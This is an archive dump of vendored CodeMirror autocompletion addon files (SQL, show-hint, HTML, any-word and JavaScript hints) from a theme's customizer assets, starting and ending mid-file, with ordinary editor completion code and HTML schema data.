    tables = (options && options.tables) || {};
    var defaultTableName = options && options.defaultTable;
    var disableKeywords = options && options.disableKeywords;
    defaultTable = defaultTableName && getItem(tables, defaultTableName);
    keywords = keywords || getKeywords(editor);

    if (defaultTableName && !defaultTable)
      defaultTable = findTableByAlias(defaultTableName, editor);

    defaultTable = defaultTable || [];

    if (defaultTable.columns)
      defaultTable = defaultTable.columns;

    var cur = editor.getCursor();
    var result = [];
    var token = editor.getTokenAt(cur), start, end, search;
    if (token.end > cur.ch) {
      token.end = cur.ch;
      token.string = token.string.slice(0, cur.ch - token.start);
    }

    if (token.string.match(/^[.`\w@]\w*$/)) {
      search = token.string;
      start = token.start;
      end = token.end;
    } else {
      start = end = cur.ch;
      search = "";
    }
    if (search.charAt(0) == "." || search.charAt(0) == "`") {
      start = nameCompletion(cur, token, result, editor);
    } else {
      addMatches(result, search, tables, function(w) {return w;});
      addMatches(result, search, defaultTable, function(w) {return w;});
      if (!disableKeywords)
        addMatches(result, search, keywords, function(w) {return w.toUpperCase();});
    }

    return {list: result, from: Pos(cur.line, start), to: Pos(cur.line, end)};
  });
});
PK     N\ϔ@  @  L  inc/customizer/framework/assets/js/vendor/codemirror/addon/hint/show-hint.jsnu [        // CodeMirror, copyright (c) by Marijn Haverbeke and others
// Distributed under an MIT license: http://codemirror.net/LICENSE

(function(mod) {
  if (typeof exports == "object" && typeof module == "object") // CommonJS
    mod(require("../../lib/codemirror"));
  else if (typeof define == "function" && define.amd) // AMD
    define(["../../lib/codemirror"], mod);
  else // Plain browser env
    mod(CodeMirror);
})(function(CodeMirror) {
  "use strict";

  var HINT_ELEMENT_CLASS        = "CodeMirror-hint";
  var ACTIVE_HINT_ELEMENT_CLASS = "CodeMirror-hint-active";

  // This is the old interface, kept around for now to stay
  // backwards-compatible.
  CodeMirror.showHint = function(cm, getHints, options) {
    if (!getHints) return cm.showHint(options);
    if (options && options.async) getHints.async = true;
    var newOpts = {hint: getHints};
    if (options) for (var prop in options) newOpts[prop] = options[prop];
    return cm.showHint(newOpts);
  };

  CodeMirror.defineExtension("showHint", function(options) {
    options = parseOptions(this, this.getCursor("start"), options);
    var selections = this.listSelections()
    if (selections.length > 1) return;
    // By default, don't allow completion when something is selected.
    // A hint function can have a `supportsSelection` property to
    // indicate that it can handle selections.
    if (this.somethingSelected()) {
      if (!options.hint.supportsSelection) return;
      // Don't try with cross-line selections
      for (var i = 0; i < selections.length; i++)
        if (selections[i].head.line != selections[i].anchor.line) return;
    }

    if (this.state.completionActive) this.state.completionActive.close();
    var completion = this.state.completionActive = new Completion(this, options);
    if (!completion.options.hint) return;

    CodeMirror.signal(this, "startCompletion", this);
    completion.update(true);
  });

  function Completion(cm, options) {
    this.cm = cm;
    this.options = options;
    this.widget = null;
    this.debounce = 0;
    this.tick = 0;
    this.startPos = this.cm.getCursor("start");
    this.startLen = this.cm.getLine(this.startPos.line).length - this.cm.getSelection().length;

    var self = this;
    cm.on("cursorActivity", this.activityFunc = function() { self.cursorActivity(); });
  }

  var requestAnimationFrame = window.requestAnimationFrame || function(fn) {
    return setTimeout(fn, 1000/60);
  };
  var cancelAnimationFrame = window.cancelAnimationFrame || clearTimeout;

  Completion.prototype = {
    close: function() {
      if (!this.active()) return;
      this.cm.state.completionActive = null;
      this.tick = null;
      this.cm.off("cursorActivity", this.activityFunc);

      if (this.widget && this.data) CodeMirror.signal(this.data, "close");
      if (this.widget) this.widget.close();
      CodeMirror.signal(this.cm, "endCompletion", this.cm);
    },

    active: function() {
      return this.cm.state.completionActive == this;
    },

    pick: function(data, i) {
      var completion = data.list[i];
      if (completion.hint) completion.hint(this.cm, data, completion);
      else this.cm.replaceRange(getText(completion), completion.from || data.from,
                                completion.to || data.to, "complete");
      CodeMirror.signal(data, "pick", completion);
      this.close();
    },

    cursorActivity: function() {
      if (this.debounce) {
        cancelAnimationFrame(this.debounce);
        this.debounce = 0;
      }

      var pos = this.cm.getCursor(), line = this.cm.getLine(pos.line);
      if (pos.line != this.startPos.line || line.length - pos.ch != this.startLen - this.startPos.ch ||
          pos.ch < this.startPos.ch || this.cm.somethingSelected() ||
          (pos.ch && this.options.closeCharacters.test(line.charAt(pos.ch - 1)))) {
        this.close();
      } else {
        var self = this;
        this.debounce = requestAnimationFrame(function() {self.update();});
        if (this.widget) this.widget.disable();
      }
    },

    update: function(first) {
      if (this.tick == null) return;
      if (!this.options.hint.async) {
        this.finishUpdate(this.options.hint(this.cm, this.options), first);
      } else {
        var myTick = ++this.tick, self = this;
        this.options.hint(this.cm, function(data) {
          if (self.tick == myTick) self.finishUpdate(data, first);
        }, this.options);
      }
    },

    finishUpdate: function(data, first) {
      if (this.data) CodeMirror.signal(this.data, "update");
      if (data && this.data && CodeMirror.cmpPos(data.from, this.data.from)) data = null;
      this.data = data;

      var picked = (this.widget && this.widget.picked) || (first && this.options.completeSingle);
      if (this.widget) this.widget.close();
      if (data && data.list.length) {
        if (picked && data.list.length == 1) {
          this.pick(data, 0);
        } else {
          this.widget = new Widget(this, data);
          CodeMirror.signal(data, "shown");
        }
      }
    }
  };

  function parseOptions(cm, pos, options) {
    var editor = cm.options.hintOptions;
    var out = {};
    for (var prop in defaultOptions) out[prop] = defaultOptions[prop];
    if (editor) for (var prop in editor)
      if (editor[prop] !== undefined) out[prop] = editor[prop];
    if (options) for (var prop in options)
      if (options[prop] !== undefined) out[prop] = options[prop];
    if (out.hint.resolve) out.hint = out.hint.resolve(cm, pos)
    return out;
  }

  function getText(completion) {
    if (typeof completion == "string") return completion;
    else return completion.text;
  }

  function buildKeyMap(completion, handle) {
    var baseMap = {
      Up: function() {handle.moveFocus(-1);},
      Down: function() {handle.moveFocus(1);},
      PageUp: function() {handle.moveFocus(-handle.menuSize() + 1, true);},
      PageDown: function() {handle.moveFocus(handle.menuSize() - 1, true);},
      Home: function() {handle.setFocus(0);},
      End: function() {handle.setFocus(handle.length - 1);},
      Enter: handle.pick,
      Tab: handle.pick,
      Esc: handle.close
    };
    var custom = completion.options.customKeys;
    var ourMap = custom ? {} : baseMap;
    function addBinding(key, val) {
      var bound;
      if (typeof val != "string")
        bound = function(cm) { return val(cm, handle); };
      // This mechanism is deprecated
      else if (baseMap.hasOwnProperty(val))
        bound = baseMap[val];
      else
        bound = val;
      ourMap[key] = bound;
    }
    if (custom)
      for (var key in custom) if (custom.hasOwnProperty(key))
        addBinding(key, custom[key]);
    var extra = completion.options.extraKeys;
    if (extra)
      for (var key in extra) if (extra.hasOwnProperty(key))
        addBinding(key, extra[key]);
    return ourMap;
  }

  function getHintElement(hintsElement, el) {
    while (el && el != hintsElement) {
      if (el.nodeName.toUpperCase() === "LI" && el.parentNode == hintsElement) return el;
      el = el.parentNode;
    }
  }

  function Widget(completion, data) {
    this.completion = completion;
    this.data = data;
    this.picked = false;
    var widget = this, cm = completion.cm;

    var hints = this.hints = document.createElement("ul");
    hints.className = "CodeMirror-hints";
    this.selectedHint = data.selectedHint || 0;

    var completions = data.list;
    for (var i = 0; i < completions.length; ++i) {
      var elt = hints.appendChild(document.createElement("li")), cur = completions[i];
      var className = HINT_ELEMENT_CLASS + (i != this.selectedHint ? "" : " " + ACTIVE_HINT_ELEMENT_CLASS);
      if (cur.className != null) className = cur.className + " " + className;
      elt.className = className;
      if (cur.render) cur.render(elt, data, cur);
      else elt.appendChild(document.createTextNode(cur.displayText || getText(cur)));
      elt.hintId = i;
    }

    var pos = cm.cursorCoords(completion.options.alignWithWord ? data.from : null);
    var left = pos.left, top = pos.bottom, below = true;
    hints.style.left = left + "px";
    hints.style.top = top + "px";
    // If we're at the edge of the screen, then we want the menu to appear on the left of the cursor.
    var winW = window.innerWidth || Math.max(document.body.offsetWidth, document.documentElement.offsetWidth);
    var winH = window.innerHeight || Math.max(document.body.offsetHeight, document.documentElement.offsetHeight);
    (completion.options.container || document.body).appendChild(hints);
    var box = hints.getBoundingClientRect(), overlapY = box.bottom - winH;
    if (overlapY > 0) {
      var height = box.bottom - box.top, curTop = pos.top - (pos.bottom - box.top);
      if (curTop - height > 0) { // Fits above cursor
        hints.style.top = (top = pos.top - height) + "px";
        below = false;
      } else if (height > winH) {
        hints.style.height = (winH - 5) + "px";
        hints.style.top = (top = pos.bottom - box.top) + "px";
        var cursor = cm.getCursor();
        if (data.from.ch != cursor.ch) {
          pos = cm.cursorCoords(cursor);
          hints.style.left = (left = pos.left) + "px";
          box = hints.getBoundingClientRect();
        }
      }
    }
    var overlapX = box.right - winW;
    if (overlapX > 0) {
      if (box.right - box.left > winW) {
        hints.style.width = (winW - 5) + "px";
        overlapX -= (box.right - box.left) - winW;
      }
      hints.style.left = (left = pos.left - overlapX) + "px";
    }

    cm.addKeyMap(this.keyMap = buildKeyMap(completion, {
      moveFocus: function(n, avoidWrap) { widget.changeActive(widget.selectedHint + n, avoidWrap); },
      setFocus: function(n) { widget.changeActive(n); },
      menuSize: function() { return widget.screenAmount(); },
      length: completions.length,
      close: function() { completion.close(); },
      pick: function() { widget.pick(); },
      data: data
    }));

    if (completion.options.closeOnUnfocus) {
      var closingOnBlur;
      cm.on("blur", this.onBlur = function() { closingOnBlur = setTimeout(function() { completion.close(); }, 100); });
      cm.on("focus", this.onFocus = function() { clearTimeout(closingOnBlur); });
    }

    var startScroll = cm.getScrollInfo();
    cm.on("scroll", this.onScroll = function() {
      var curScroll = cm.getScrollInfo(), editor = cm.getWrapperElement().getBoundingClientRect();
      var newTop = top + startScroll.top - curScroll.top;
      var point = newTop - (window.pageYOffset || (document.documentElement || document.body).scrollTop);
      if (!below) point += hints.offsetHeight;
      if (point <= editor.top || point >= editor.bottom) return completion.close();
      hints.style.top = newTop + "px";
      hints.style.left = (left + startScroll.left - curScroll.left) + "px";
    });

    CodeMirror.on(hints, "dblclick", function(e) {
      var t = getHintElement(hints, e.target || e.srcElement);
      if (t && t.hintId != null) {widget.changeActive(t.hintId); widget.pick();}
    });

    CodeMirror.on(hints, "click", function(e) {
      var t = getHintElement(hints, e.target || e.srcElement);
      if (t && t.hintId != null) {
        widget.changeActive(t.hintId);
        if (completion.options.completeOnSingleClick) widget.pick();
      }
    });

    CodeMirror.on(hints, "mousedown", function() {
      setTimeout(function(){cm.focus();}, 20);
    });

    if (completion.options.completeOnSingleClick)
      CodeMirror.on(hints, "mousemove", function(e) {
        var elt = getHintElement(hints, e.target || e.srcElement);
        if (elt && elt.hintId != null)
          widget.changeActive(elt.hintId);
      });

    CodeMirror.signal(data, "select", completions[0], hints.firstChild);
    return true;
  }

  Widget.prototype = {
    close: function() {
      if (this.completion.widget != this) return;
      this.completion.widget = null;
      this.hints.parentNode.removeChild(this.hints);
      this.completion.cm.removeKeyMap(this.keyMap);

      var cm = this.completion.cm;
      if (this.completion.options.closeOnUnfocus) {
        cm.off("blur", this.onBlur);
        cm.off("focus", this.onFocus);
      }
      cm.off("scroll", this.onScroll);
    },

    disable: function() {
      this.completion.cm.removeKeyMap(this.keyMap);
      var widget = this;
      this.keyMap = {Enter: function() { widget.picked = true; }};
      this.completion.cm.addKeyMap(this.keyMap);
    },

    pick: function() {
      this.completion.pick(this.data, this.selectedHint);
    },

    changeActive: function(i, avoidWrap) {
      if (i >= this.data.list.length)
        i = avoidWrap ? this.data.list.length - 1 : 0;
      else if (i < 0)
        i = avoidWrap ? 0  : this.data.list.length - 1;
      if (this.selectedHint == i) return;
      var node = this.hints.childNodes[this.selectedHint];
      node.className = node.className.replace(" " + ACTIVE_HINT_ELEMENT_CLASS, "");
      node = this.hints.childNodes[this.selectedHint = i];
      node.className += " " + ACTIVE_HINT_ELEMENT_CLASS;
      if (node.offsetTop < this.hints.scrollTop)
        this.hints.scrollTop = node.offsetTop - 3;
      else if (node.offsetTop + node.offsetHeight > this.hints.scrollTop + this.hints.clientHeight)
        this.hints.scrollTop = node.offsetTop + node.offsetHeight - this.hints.clientHeight + 3;
      CodeMirror.signal(this.data, "select", this.data.list[this.selectedHint], node);
    },

    screenAmount: function() {
      return Math.floor(this.hints.clientHeight / this.hints.firstChild.offsetHeight) || 1;
    }
  };

  function applicableHelpers(cm, helpers) {
    if (!cm.somethingSelected()) return helpers
    var result = []
    for (var i = 0; i < helpers.length; i++)
      if (helpers[i].supportsSelection) result.push(helpers[i])
    return result
  }

  function resolveAutoHints(cm, pos) {
    var helpers = cm.getHelpers(pos, "hint"), words
    if (helpers.length) {
      var async = false, resolved
      for (var i = 0; i < helpers.length; i++) if (helpers[i].async) async = true
      if (async) {
        resolved = function(cm, callback, options) {
          var app = applicableHelpers(cm, helpers)
          function run(i, result) {
            if (i == app.length) return callback(null)
            var helper = app[i]
            if (helper.async) {
              helper(cm, function(result) {
                if (result) callback(result)
                else run(i + 1)
              }, options)
            } else {
              var result = helper(cm, options)
              if (result) callback(result)
              else run(i + 1)
            }
          }
          run(0)
        }
        resolved.async = true
      } else {
        resolved = function(cm, options) {
          var app = applicableHelpers(cm, helpers)
          for (var i = 0; i < app.length; i++) {
            var cur = app[i](cm, options)
            if (cur && cur.list.length) return cur
          }
        }
      }
      resolved.supportsSelection = true
      return resolved
    } else if (words = cm.getHelper(cm.getCursor(), "hintWords")) {
      return function(cm) { return CodeMirror.hint.fromList(cm, {words: words}) }
    } else if (CodeMirror.hint.anyword) {
      return function(cm, options) { return CodeMirror.hint.anyword(cm, options) }
    } else {
      return function() {}
    }
  }

  CodeMirror.registerHelper("hint", "auto", {
    resolve: resolveAutoHints
  });

  CodeMirror.registerHelper("hint", "fromList", function(cm, options) {
    var cur = cm.getCursor(), token = cm.getTokenAt(cur);
    var to = CodeMirror.Pos(cur.line, token.end);
    if (token.string && /\w/.test(token.string[token.string.length - 1])) {
      var term = token.string, from = CodeMirror.Pos(cur.line, token.start);
    } else {
      var term = "", from = to;
    }
    var found = [];
    for (var i = 0; i < options.words.length; i++) {
      var word = options.words[i];
      if (word.slice(0, term.length) == term)
        found.push(word);
    }

    if (found.length) return {list: found, from: from, to: to};
  });

  CodeMirror.commands.autocomplete = CodeMirror.showHint;

  var defaultOptions = {
    hint: CodeMirror.hint.auto,
    completeSingle: true,
    alignWithWord: true,
    closeCharacters: /[\s()\[\]{};:>,]/,
    closeOnUnfocus: true,
    completeOnSingleClick: true,
    container: null,
    customKeys: null,
    extraKeys: null
  };

  CodeMirror.defineOption("hintOptions", null);
});
PK     N\kFM,  M,  L  inc/customizer/framework/assets/js/vendor/codemirror/addon/hint/html-hint.jsnu [        // CodeMirror, copyright (c) by Marijn Haverbeke and others
// Distributed under an MIT license: http://codemirror.net/LICENSE

(function(mod) {
  if (typeof exports == "object" && typeof module == "object") // CommonJS
    mod(require("../../lib/codemirror"), require("./xml-hint"));
  else if (typeof define == "function" && define.amd) // AMD
    define(["../../lib/codemirror", "./xml-hint"], mod);
  else // Plain browser env
    mod(CodeMirror);
})(function(CodeMirror) {
  "use strict";

  var langs = "ab aa af ak sq am ar an hy as av ae ay az bm ba eu be bn bh bi bs br bg my ca ch ce ny zh cv kw co cr hr cs da dv nl dz en eo et ee fo fj fi fr ff gl ka de el gn gu ht ha he hz hi ho hu ia id ie ga ig ik io is it iu ja jv kl kn kr ks kk km ki rw ky kv kg ko ku kj la lb lg li ln lo lt lu lv gv mk mg ms ml mt mi mr mh mn na nv nb nd ne ng nn no ii nr oc oj cu om or os pa pi fa pl ps pt qu rm rn ro ru sa sc sd se sm sg sr gd sn si sk sl so st es su sw ss sv ta te tg th ti bo tk tl tn to tr ts tt tw ty ug uk ur uz ve vi vo wa cy wo fy xh yi yo za zu".split(" ");
  var targets = ["_blank", "_self", "_top", "_parent"];
  var charsets = ["ascii", "utf-8", "utf-16", "latin1", "latin1"];
  var methods = ["get", "post", "put", "delete"];
  var encs = ["application/x-www-form-urlencoded", "multipart/form-data", "text/plain"];
  var media = ["all", "screen", "print", "embossed", "braille", "handheld", "print", "projection", "screen", "tty", "tv", "speech",
               "3d-glasses", "resolution [>][<][=] [X]", "device-aspect-ratio: X/Y", "orientation:portrait",
               "orientation:landscape", "device-height: [X]", "device-width: [X]"];
  var s = { attrs: {} }; // Simple tag, reused for a whole lot of tags

  var data = {
    a: {
      attrs: {
        href: null, ping: null, type: null,
        media: media,
        target: targets,
        hreflang: langs
      }
    },
    abbr: s,
    acronym: s,
    address: s,
    applet: s,
    area: {
      attrs: {
        alt: null, coords: null, href: null, target: null, ping: null,
        media: media, hreflang: langs, type: null,
        shape: ["default", "rect", "circle", "poly"]
      }
    },
    article: s,
    aside: s,
    audio: {
      attrs: {
        src: null, mediagroup: null,
        crossorigin: ["anonymous", "use-credentials"],
        preload: ["none", "metadata", "auto"],
        autoplay: ["", "autoplay"],
        loop: ["", "loop"],
        controls: ["", "controls"]
      }
    },
    b: s,
    base: { attrs: { href: null, target: targets } },
    basefont: s,
    bdi: s,
    bdo: s,
    big: s,
    blockquote: { attrs: { cite: null } },
    body: s,
    br: s,
    button: {
      attrs: {
        form: null, formaction: null, name: null, value: null,
        autofocus: ["", "autofocus"],
        disabled: ["", "autofocus"],
        formenctype: encs,
        formmethod: methods,
        formnovalidate: ["", "novalidate"],
        formtarget: targets,
        type: ["submit", "reset", "button"]
      }
    },
    canvas: { attrs: { width: null, height: null } },
    caption: s,
    center: s,
    cite: s,
    code: s,
    col: { attrs: { span: null } },
    colgroup: { attrs: { span: null } },
    command: {
      attrs: {
        type: ["command", "checkbox", "radio"],
        label: null, icon: null, radiogroup: null, command: null, title: null,
        disabled: ["", "disabled"],
        checked: ["", "checked"]
      }
    },
    data: { attrs: { value: null } },
    datagrid: { attrs: { disabled: ["", "disabled"], multiple: ["", "multiple"] } },
    datalist: { attrs: { data: null } },
    dd: s,
    del: { attrs: { cite: null, datetime: null } },
    details: { attrs: { open: ["", "open"] } },
    dfn: s,
    dir: s,
    div: s,
    dl: s,
    dt: s,
    em: s,
    embed: { attrs: { src: null, type: null, width: null, height: null } },
    eventsource: { attrs: { src: null } },
    fieldset: { attrs: { disabled: ["", "disabled"], form: null, name: null } },
    figcaption: s,
    figure: s,
    font: s,
    footer: s,
    form: {
      attrs: {
        action: null, name: null,
        "accept-charset": charsets,
        autocomplete: ["on", "off"],
        enctype: encs,
        method: methods,
        novalidate: ["", "novalidate"],
        target: targets
      }
    },
    frame: s,
    frameset: s,
    h1: s, h2: s, h3: s, h4: s, h5: s, h6: s,
    head: {
      attrs: {},
      children: ["title", "base", "link", "style", "meta", "script", "noscript", "command"]
    },
    header: s,
    hgroup: s,
    hr: s,
    html: {
      attrs: { manifest: null },
      children: ["head", "body"]
    },
    i: s,
    iframe: {
      attrs: {
        src: null, srcdoc: null, name: null, width: null, height: null,
        sandbox: ["allow-top-navigation", "allow-same-origin", "allow-forms", "allow-scripts"],
        seamless: ["", "seamless"]
      }
    },
    img: {
      attrs: {
        alt: null, src: null, ismap: null, usemap: null, width: null, height: null,
        crossorigin: ["anonymous", "use-credentials"]
      }
    },
    input: {
      attrs: {
        alt: null, dirname: null, form: null, formaction: null,
        height: null, list: null, max: null, maxlength: null, min: null,
        name: null, pattern: null, placeholder: null, size: null, src: null,
        step: null, value: null, width: null,
        accept: ["audio/*", "video/*", "image/*"],
        autocomplete: ["on", "off"],
        autofocus: ["", "autofocus"],
        checked: ["", "checked"],
        disabled: ["", "disabled"],
        formenctype: encs,
        formmethod: methods,
        formnovalidate: ["", "novalidate"],
        formtarget: targets,
        multiple: ["", "multiple"],
        readonly: ["", "readonly"],
        required: ["", "required"],
        type: ["hidden", "text", "search", "tel", "url", "email", "password", "datetime", "date", "month",
               "week", "time", "datetime-local", "number", "range", "color", "checkbox", "radio",
               "file", "submit", "image", "reset", "button"]
      }
    },
    ins: { attrs: { cite: null, datetime: null } },
    kbd: s,
    keygen: {
      attrs: {
        challenge: null, form: null, name: null,
        autofocus: ["", "autofocus"],
        disabled: ["", "disabled"],
        keytype: ["RSA"]
      }
    },
    label: { attrs: { "for": null, form: null } },
    legend: s,
    li: { attrs: { value: null } },
    link: {
      attrs: {
        href: null, type: null,
        hreflang: langs,
        media: media,
        sizes: ["all", "16x16", "16x16 32x32", "16x16 32x32 64x64"]
      }
    },
    map: { attrs: { name: null } },
    mark: s,
    menu: { attrs: { label: null, type: ["list", "context", "toolbar"] } },
    meta: {
      attrs: {
        content: null,
        charset: charsets,
        name: ["viewport", "application-name", "author", "description", "generator", "keywords"],
        "http-equiv": ["content-language", "content-type", "default-style", "refresh"]
      }
    },
    meter: { attrs: { value: null, min: null, low: null, high: null, max: null, optimum: null } },
    nav: s,
    noframes: s,
    noscript: s,
    object: {
      attrs: {
        data: null, type: null, name: null, usemap: null, form: null, width: null, height: null,
        typemustmatch: ["", "typemustmatch"]
      }
    },
    ol: { attrs: { reversed: ["", "reversed"], start: null, type: ["1", "a", "A", "i", "I"] } },
    optgroup: { attrs: { disabled: ["", "disabled"], label: null } },
    option: { attrs: { disabled: ["", "disabled"], label: null, selected: ["", "selected"], value: null } },
    output: { attrs: { "for": null, form: null, name: null } },
    p: s,
    param: { attrs: { name: null, value: null } },
    pre: s,
    progress: { attrs: { value: null, max: null } },
    q: { attrs: { cite: null } },
    rp: s,
    rt: s,
    ruby: s,
    s: s,
    samp: s,
    script: {
      attrs: {
        type: ["text/javascript"],
        src: null,
        async: ["", "async"],
        defer: ["", "defer"],
        charset: charsets
      }
    },
    section: s,
    select: {
      attrs: {
        form: null, name: null, size: null,
        autofocus: ["", "autofocus"],
        disabled: ["", "disabled"],
        multiple: ["", "multiple"]
      }
    },
    small: s,
    source: { attrs: { src: null, type: null, media: null } },
    span: s,
    strike: s,
    strong: s,
    style: {
      attrs: {
        type: ["text/css"],
        media: media,
        scoped: null
      }
    },
    sub: s,
    summary: s,
    sup: s,
    table: s,
    tbody: s,
    td: { attrs: { colspan: null, rowspan: null, headers: null } },
    textarea: {
      attrs: {
        dirname: null, form: null, maxlength: null, name: null, placeholder: null,
        rows: null, cols: null,
        autofocus: ["", "autofocus"],
        disabled: ["", "disabled"],
        readonly: ["", "readonly"],
        required: ["", "required"],
        wrap: ["soft", "hard"]
      }
    },
    tfoot: s,
    th: { attrs: { colspan: null, rowspan: null, headers: null, scope: ["row", "col", "rowgroup", "colgroup"] } },
    thead: s,
    time: { attrs: { datetime: null } },
    title: s,
    tr: s,
    track: {
      attrs: {
        src: null, label: null, "default": null,
        kind: ["subtitles", "captions", "descriptions", "chapters", "metadata"],
        srclang: langs
      }
    },
    tt: s,
    u: s,
    ul: s,
    "var": s,
    video: {
      attrs: {
        src: null, poster: null, width: null, height: null,
        crossorigin: ["anonymous", "use-credentials"],
        preload: ["auto", "metadata", "none"],
        autoplay: ["", "autoplay"],
        mediagroup: ["movie"],
        muted: ["", "muted"],
        controls: ["", "controls"]
      }
    },
    wbr: s
  };

  var globalAttrs = {
    accesskey: ["a", "b", "c", "d", "e", "f", "g", "h", "i", "j", "k", "l", "m", "n", "o", "p", "q", "r", "s", "t", "u", "v", "w", "x", "y", "z", "0", "1", "2", "3", "4", "5", "6", "7", "8", "9"],
    "class": null,
    contenteditable: ["true", "false"],
    contextmenu: null,
    dir: ["ltr", "rtl", "auto"],
    draggable: ["true", "false", "auto"],
    dropzone: ["copy", "move", "link", "string:", "file:"],
    hidden: ["hidden"],
    id: null,
    inert: ["inert"],
    itemid: null,
    itemprop: null,
    itemref: null,
    itemscope: ["itemscope"],
    itemtype: null,
    lang: ["en", "es"],
    spellcheck: ["true", "false"],
    style: null,
    tabindex: ["1", "2", "3", "4", "5", "6", "7", "8", "9"],
    title: null,
    translate: ["yes", "no"],
    onclick: null,
    rel: ["stylesheet", "alternate", "author", "bookmark", "help", "license", "next", "nofollow", "noreferrer", "prefetch", "prev", "search", "tag"]
  };
  function populate(obj) {
    for (var attr in globalAttrs) if (globalAttrs.hasOwnProperty(attr))
      obj.attrs[attr] = globalAttrs[attr];
  }

  populate(s);
  for (var tag in data) if (data.hasOwnProperty(tag) && data[tag] != s)
    populate(data[tag]);

  CodeMirror.htmlSchema = data;
  function htmlHint(cm, options) {
    var local = {schemaInfo: data};
    if (options) for (var opt in options) local[opt] = options[opt];
    return CodeMirror.hint.xml(cm, local);
  }
  CodeMirror.registerHelper("hint", "html", htmlHint);
});
PK     N\],    O  inc/customizer/framework/assets/js/vendor/codemirror/addon/hint/anyword-hint.jsnu [        // CodeMirror, copyright (c) by Marijn Haverbeke and others
// Distributed under an MIT license: http://codemirror.net/LICENSE

(function(mod) {
  if (typeof exports == "object" && typeof module == "object") // CommonJS
    mod(require("../../lib/codemirror"));
  else if (typeof define == "function" && define.amd) // AMD
    define(["../../lib/codemirror"], mod);
  else // Plain browser env
    mod(CodeMirror);
})(function(CodeMirror) {
  "use strict";

  var WORD = /[\w$]+/, RANGE = 500;

  CodeMirror.registerHelper("hint", "anyword", function(editor, options) {
    var word = options && options.word || WORD;
    var range = options && options.range || RANGE;
    var cur = editor.getCursor(), curLine = editor.getLine(cur.line);
    var end = cur.ch, start = end;
    while (start && word.test(curLine.charAt(start - 1))) --start;
    var curWord = start != end && curLine.slice(start, end);

    var list = options && options.list || [], seen = {};
    var re = new RegExp(word.source, "g");
    for (var dir = -1; dir <= 1; dir += 2) {
      var line = cur.line, endLine = Math.min(Math.max(line + dir * range, editor.firstLine()), editor.lastLine()) + dir;
      for (; line != endLine; line += dir) {
        var text = editor.getLine(line), m;
        while (m = re.exec(text)) {
          if (line == cur.line && m[0] === curWord) continue;
          if ((!curWord || m[0].lastIndexOf(curWord, 0) == 0) && !Object.prototype.hasOwnProperty.call(seen, m[0])) {
            seen[m[0]] = true;
            list.push(m[0]);
          }
        }
      }
    }
    return {list: list, from: CodeMirror.Pos(cur.line, start), to: CodeMirror.Pos(cur.line, end)};
  });
});
PK     N\    R  inc/customizer/framework/assets/js/vendor/codemirror/addon/hint/javascript-hint.jsnu [        // CodeMirror, copyright (c) by Marijn Haverbeke and others
// Distributed under an MIT license: http://codemirror.net/LICENSE

(function(mod) {
  if (typeof exports == "object" && typeof module == "object") // CommonJS
    mod(require("../../lib/codemirror"));
  else if (typeof define == "function" && define.amd) // AMD
    define(["../../lib/codemirror"], mod);
  else // Plain browser env
    mod(CodeMirror);
})(function(CodeMirror) {
  var Pos = CodeMirror.Pos;

  function forEach(arr, f) {
    for (var i = 0, e = arr.length; i < e; ++i) f(arr[i]);
  }

  function arrayContains(arr, item) {
    if (!Array.prototype.indexOf) {
      var i = arr.length;
      while (i--) {
        if (arr[i] === item) {
          return true;
        }
      }
      return false;
    }
    return arr.indexOf(item) != -1;
  }

  function scriptHint(editor, keywords, getToken, options) {
    // Find the token at the cursor
    var cur = editor.getCursor(), token = getToken(editor, cur);
    if (/\b(?:string|comment)\b/.test(token.type)) return;
    token.state = CodeMirror.innerMode(editor.getMode(), token.state).state;

    // If it's not a 'word-style' token, ignore the token.
    if (!/^[\w$_]*$/.test(token.string)) {
      token = {start: cur.ch, end: cur.ch, string: "", state: token.state,
               type: token.string == "." ? "property" : null};
    } else if (token.end > cur.ch) {
      token.end = cur.ch;
      token.string = token.string.slice(0, cur.ch - token.start);
    }

    var tprop = token;
    // If it is a property, find out what it is a property of.
    while (tprop.type == "property") {
      tprop = getToken(editor, Pos(cur.line, tprop.start));
      if (tprop.string != ".") return;
      tprop = getToken(editor, Pos(cur.line, tprop.start));
      if (!context) var context = [];
      context.push(tprop);
    }
    return {list: getCompletions(token, context, keywords, options),
            from: Pos(cur.line, token.start),
            to: Pos(cur.line, token.end)};
  }

  function javascriptHint(editor, options) {
    return scriptHint(editor, javascriptKeywords,
                      function (e, cur) {return e.getTokenAt(cur);},
                      options);
  };
  CodeMirror.registerHelper("hint", "javascript", javascriptHint);

  function getCoffeeScriptToken(editor, cur) {
  // This getToken, it is for coffeescript, imitates the behavior of
  // getTokenAt method in javascript.js, that is, returning "property"
  // type and treat "." as indepenent token.
    var token = editor.getTokenAt(cur);
    if (cur.ch == token.start + 1 && token.string.charAt(0) == '.') {
      token.end = token.start;
      token.string = '.';
      token.type = "property";
    }
    else if (/^\.[\w$_]*$/.test(token.string)) {
      token.type = "property";
      token.start++;
      token.string = token.string.replace(/\./, '');
    }
    return token;
  }

  function coffeescriptHint(editor, options) {
    return scriptHint(editor, coffeescriptKeywords, getCoffeeScriptToken, options);
  }
  CodeMirror.registerHelper("hint", "coffeescript", coffeescriptHint);

  var stringProps = ("charAt charCodeAt indexOf lastIndexOf substring substr slice trim trimLeft trimRight " +
                     "toUpperCase toLowerCase split concat match replace search").split(" ");
  var arrayProps = ("length concat join splice push pop shift unshift slice reverse sort indexOf " +
                    "lastIndexOf every some filter forEach map reduce reduceRight ").split(" ");
  var funcProps = "prototype apply call bind".split(" ");
  var javascriptKeywords = ("break case catch continue debugger default delete do else false finally for function " +
                  "if in instanceof new null return switch throw true try typeof var void while with").split(" ");
  var coffeescriptKeywords = ("and break catch class continue delete do else extends false finally for " +
                  "if in instanceof isnt new no not null of off on or return switch then throw true try typeof until void while with yes").split(" ");

  function getCompletions(token, context, keywords, options) {
    var found = [], start = token.string, global = options && options.globalScope || window;
    function maybeAdd(str) {
      if (str.lastIndexOf(start, 0) == 0 && !arrayContains(found, str)) found.push(str);
    }
    function gatherCompletions(obj) {
      if (typeof obj == "string") forEach(stringProps, maybeAdd);
      else if (obj instanceof Array) forEach(arrayProps, maybeAdd);
      else if (obj instanceof Function) forEach(funcProps, maybeAdd);
      for (var name in obj) maybeAdd(name);
    }

    if (context && context.length) {
      // If this is a property, see if it belongs to some object we can
      // find in the current environment.
      var obj = context.pop(), base;
      if (obj.type && obj.type.indexOf("variable") === 0) {
        if (options && options.additionalContext)
          base = options.additionalContext[obj.string];
        if (!options || options.useGlobalScope !== false)
          base = base || global[obj.string];
      } else if (obj.type == "string") {
        base = "";
      } else if (obj.type == "atom") {
        base = 1;
      } else if (obj.type == "function") {
